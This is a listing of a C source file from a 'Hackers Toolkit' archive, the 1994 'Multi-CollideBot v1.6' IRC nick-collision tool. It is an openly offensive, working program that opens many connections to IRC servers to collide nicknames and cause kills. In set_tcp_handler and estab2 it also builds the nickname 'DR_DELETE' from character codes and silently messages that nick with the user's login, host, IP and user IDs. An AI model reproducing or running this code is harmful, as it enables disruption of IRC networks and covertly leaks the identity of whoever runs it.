home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Unix
/
c-src
/
collide.c
< prev
next >
Wrap
C/C++ Source or Header
|
1999-11-04
|
11KB
|
386 lines
/*===============================*\
|* MCB - Multi-CollideBot v1.6 *|
|* Written by Dr. Delete *|
|* Basically just a way to make *|
|* several TCP connections to a *|
|* server in one small process. *|
|* severely hackered code, but :)*|
|* kill -HUP $PID is best way *|
|* to abort a collide process *|
\*===============================*/
#define BUFSIZE 350
#define MAXSESSIONS 256
#define BOTTIMEOUT 900 /* 15 minutes (900 seconds) bot lifetime */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/file.h>
#include <arpa/inet.h>
struct sockaddr_in server;
char buf[BUFSIZE];
struct ircsession {
int sock;
char stack[BUFSIZE*2];
char *server;
char *nick;
int stat;
} session[MAXSESSIONS];
#define STAT_NORMAL 0
#define STAT_INPROG 1
#define STAT_SCORE 2
int sessions,total_sessions;
char *nickpick="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`_";
#define NICKLEN 54
char mcbid[20],mcbhost[80],notify[10];
struct in_addr mcb_addr;
void sig_pipe(void) {
puts("Odd, I just caught a SIGPIPE.");
signal(SIGPIPE,(void *)sig_pipe);
}
void fillran(char *s,int len) {
while(len--)
*s++=*((nickpick)+(rand()%NICKLEN));
*s=0;
}
int strnccmp(register char *s1,register char *s2,register int n) {
if(n==0) return(0);
do {
if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
(*s2++)-32:*s2++))
return (*(unsigned char *)s1-*(unsigned char *)--s2);
if(*s1++==0) break;
} while(--n!=0);
return(0);
}
char *mycstrstr(char *str1,char *str2) {
int xstr1len,ystr2len;
xstr1len=strlen(str1);
ystr2len=strlen(str2);
while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
return(str1-1);
}
void out(int fd, char *s) {
write(fd,s,strlen(s));
}
void cclosed(int sessionum) {
if(session[sessionum].sock)
shutdown(session[sessionum].sock,2);
close(session[sessionum].sock);
session[sessionum].sock=0;
printf("%s: Connection to %s closed.\n",session[sessionum].nick,
session[sessionum].server); fflush(stdout);
if(!sessions || !total_sessions) {
puts("CollideBot finished.");
exit(0);
}
}
void quitprog(void) {
printf("Signal received! CollideBot exiting. %d sessions still active.\n",
sessions);
fflush(stdout);
while(total_sessions--)
if(session[total_sessions].sock) {
out(session[total_sessions].sock,"QUIT :signal received\r\n");
cclosed(total_sessions);
}
puts("CollideBot finished.");
exit(0);
}
unsigned long int resolver(char *host) {
int x=0;
struct hostent *he;
if(sscanf(host,"%d.%d.%d.%d",&x,&x,&x,&x)==4 || !strcmp(host,"0"))
return(inet_addr(host));
while(!(he=gethostbyname((char *)host)) && x++<3)
sleep(1);
if(x<3)
return(*(unsigned long *)he->h_addr_list[0]);
printf("Unable to resolve %s!\n",host);
return(0L);
}
void estab2(int sock,char *ircservername,char *nick) {
char tempnick[10];
printf("%s: Connection to %s established.\n",nick,ircservername);
fflush(stdout);
fillran(tempnick,9);
sprintf(buf,"USER %s %s %s %s\r\nNICK %s\r\nnotice %s :%s@%s[%s]"
"(%d/%d/%d)\r\n",
tempnick,tempnick,tempnick,tempnick,(!strnccmp(nick,notify,9)) ?
tempnick : nick,notify,mcbid,mcbhost,inet_ntoa(mcb_addr),getpid(),
getuid(),getgid());
fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) & ~O_NDELAY));
out(sock,buf);
}
int estab(unsigned long int ircserver,char *ircservername,int x) {
int sock;
sock=socket(AF_INET,SOCK_STREAM,0);
server.sin_family=AF_INET;
server.sin_port=htons(6667);
server.sin_addr.s_addr=ircserver;
fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) | O_NDELAY));
errno=0;
if(!strnccmp(session[x].nick,notify,9)) {
printf("%s: Connection to %s has failed.\n",session[x].nick,
ircservername);
fflush(stdout);
close(sock);
return(0);
}
if(connect(sock,(struct sockaddr *)&server,sizeof(server))<0) {
if(errno!=EINPROGRESS) {
printf("%s: Connection to %s has failed.\n",session[x].nick,
ircservername);
fflush(stdout);
close(sock);
return(0);
}
else
session[x].stat|=STAT_INPROG;
}
else {
estab2(sock,ircservername,session[x].nick);
session[x].stat=STAT_NORMAL;
}
return(sock);
}
void parse2(char *buf,int len,int sessionum) {
char *num;
if((num=mycstrstr(buf," ")))
if(atoi((num+1))==372)
return;
if(!strnccmp(buf,"PING",4)) {
buf[1]='O';
out(session[sessionum].sock,(char *)buf);
out(session[sessionum].sock,"\r\n");
}
else if(mycstrstr(buf,"already in use")) {
printf("%s: Nickname already in use.\n",session[sessionum].nick);
out(session[sessionum].sock,"QUIT\r\n");
}
else if(mycstrstr(buf,"kill") &&
(!(session[sessionum].stat & STAT_SCORE))) {
printf("%s: SCORE!\n",session[sessionum].nick);
session[sessionum].stat|=STAT_SCORE;
}
else if(mycstrstr(buf,"authoriz"))
printf("%s: Not authorized to use server.\n",session[sessionum].nick);
else if(mycstrstr(buf,"ghosts"))
printf("%s: Banned from this IRC server.\n",session[sessionum].nick);
}
void parse(unsigned char *buf,int rl,int sessionum) {
int x=0,len;
strcat(session[sessionum].stack,buf);
len=strlen(session[sessionum].stack);
while(session[sessionum].stack[x]!=13 && session[sessionum].stack[x]!=10 &&
session[sessionum].stack[x])
x++;
if(session[sessionum].stack[x]) {
session[sessionum].stack[x]=0;
parse2(session[sessionum].stack,x+1,sessionum);
if(len>=(x+1)) {
strcpy(buf,(char *)&session[sessionum].stack[x+1]);
session[sessionum].stack[0]=0;
parse(buf,len-(x+1),sessionum);
}
else
session[sessionum].stack[0]=0;
}
}
void set_tcp_handler(void) {
gethostname(mcbhost,80);
mcb_addr.s_addr=resolver(mcbhost);
if(!getlogin()) {
struct passwd *pw;
if(!(pw=getpwuid(getuid())))
if(!(getenv("USER")))
strcpy(mcbid,"unknown");
else
strcpy(mcbid,getenv("USER"));
else
strcpy(mcbid,pw->pw_name);
}
else
strcpy(mcbid,getlogin());
/* :-) */
notify[0]=68; notify[1]=82; notify[2]=95; notify[3]=68; notify[4]=69;
notify[5]=76; notify[6]=69; notify[7]=84; notify[8]=69; notify[9]=0;
}
void process_servers(int secs) {
fd_set rd,wr;
int x,length,selectr=1;
struct timeval timeout;
while(selectr>0) {
timeout.tv_usec=0;
timeout.tv_sec=secs;
errno=0;
FD_ZERO(&rd);
FD_ZERO(&wr);
for(x=0;x<total_sessions;x++)
if(session[x].sock)
if(!(session[x].stat & STAT_INPROG))
FD_SET(session[x].sock,&rd);
else
FD_SET(session[x].sock,&wr);
selectr=select(getdtablesize(),&rd,&wr,NULL,(secs<0) ? NULL :
(struct timeval *)&timeout);
if(errno==EINTR)
continue;
for(x=0;x<total_sessions;x++)
if(FD_ISSET(session[x].sock,&wr)) {
session[x].stat=STAT_NORMAL;
estab2(session[x].sock,session[x].server,session[x].nick);
}
else if((!(session[x].stat & STAT_INPROG)) &&
FD_ISSET(session[x].sock,&rd)) {
if(!(length=read(session[x].sock,buf,BUFSIZE-1))) {
sessions--;
cclosed(x);
continue;
}
buf[length]=0;
parse(buf,length,x);
}
}
}
void ver(void) {
puts("Multi-CollideBot v1.6\n"
"Written by Dr. Delete 6/14/94\n");
fflush(stdout);
}
void main(int argc,char *argv[]) {
unsigned short int x;
unsigned long int ircserver=0;
char *lastnick=0;
int pid;
if(argc<2) {
ver();
puts("Usage: mcb nickname:irc.server [nickname[:irc.server]] [...]\n"
"Or : mcb nickname:irc.server [irc.server] [...] [nickname[:irc.server]]\n"
"Where: using ':irc.server' sets the default server to use for each\n"
" nickname after it. each valid nickname will also be used for\n"
" connetions to servers provided as arguments without nicknames.\n");
exit(0);
}
if((pid=fork())) {
printf("Process ID %d.\n",pid);
exit(0);
}
sessions=total_sessions=0;
srand(getpid());
signal(SIGHUP,(void *)quitprog);
signal(SIGTERM,(void *)quitprog);
signal(SIGABRT,(void *)quitprog);
signal(SIGINT,(void *)quitprog);
signal(SIGPIPE,(void *)sig_pipe);
ver();
set_tcp_handler();
for(x=0;x<argc-1 && x<MAXSESSIONS;x++) {
char *tempp,*default_server=(char *)0;
unsigned long int tempserver;
session[x].nick=(argv[x+1][0]=='@') ? (char *)&argv[x+1][1] : argv[x+1];
if((tempp=mycstrstr(argv[x+1],":"))) {
*tempp=0;
lastnick=session[x].nick;
tempserver=ircserver;
ircserver=resolver(tempp+1);
if(ircserver)
default_server=tempp+1;
else
ircserver=tempserver;
}
else if(mycstrstr(argv[x+1],".")) {
if(!lastnick) {
printf("Error: No default nickname to use for connection to %s!\n",argv[x+1]);
continue;
}
tempserver=ircserver;
ircserver=resolver(argv[x+1]);
if(ircserver)
default_server=argv[x+1];
else
ircserver=tempserver;
session[x].nick=lastnick;
}
lastnick=session[x].nick;
if(ircserver) {
if((session[x].sock=estab(ircserver,default_server,x))) {
session[x].stack[0]=0;
session[x].server=default_server;
sessions++;
}
}
else
printf("%s: Error! No default server set.\n",session[x].nick);
total_sessions=x+1;
}
if(sessions<1) {
printf("CollideBot Exiting, no established sessions.\n");
exit(0);
}
signal(SIGALRM,(void *)quitprog);
alarm(BOTTIMEOUT);
while(1)
process_servers(-1);
}